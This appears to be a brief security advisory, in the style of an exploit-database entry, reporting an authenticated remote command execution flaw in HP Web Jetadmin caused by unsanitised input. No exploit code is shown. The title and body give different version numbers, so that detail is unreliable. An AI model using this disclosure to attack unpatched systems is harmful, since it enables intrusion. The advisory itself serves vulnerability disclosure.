HP Web Jetadmin 7.5.2456 - Arbitrary Command Execution

source: https://www.securityfocus.com/bid/9973/info

Reportedly HP web Jetadmin is prone to a remote arbitrary command execution vulnerability. This issue is due to a failure of the application to properly validate and sanitize user supplied input.

Successful exploitation of this issue will allow a malicious user to execute arbitrary commands on the affected system.

This issue has been tested with an authenticated account on HP Web Jetadmin version 7.5.2546 running on a Windows platform.
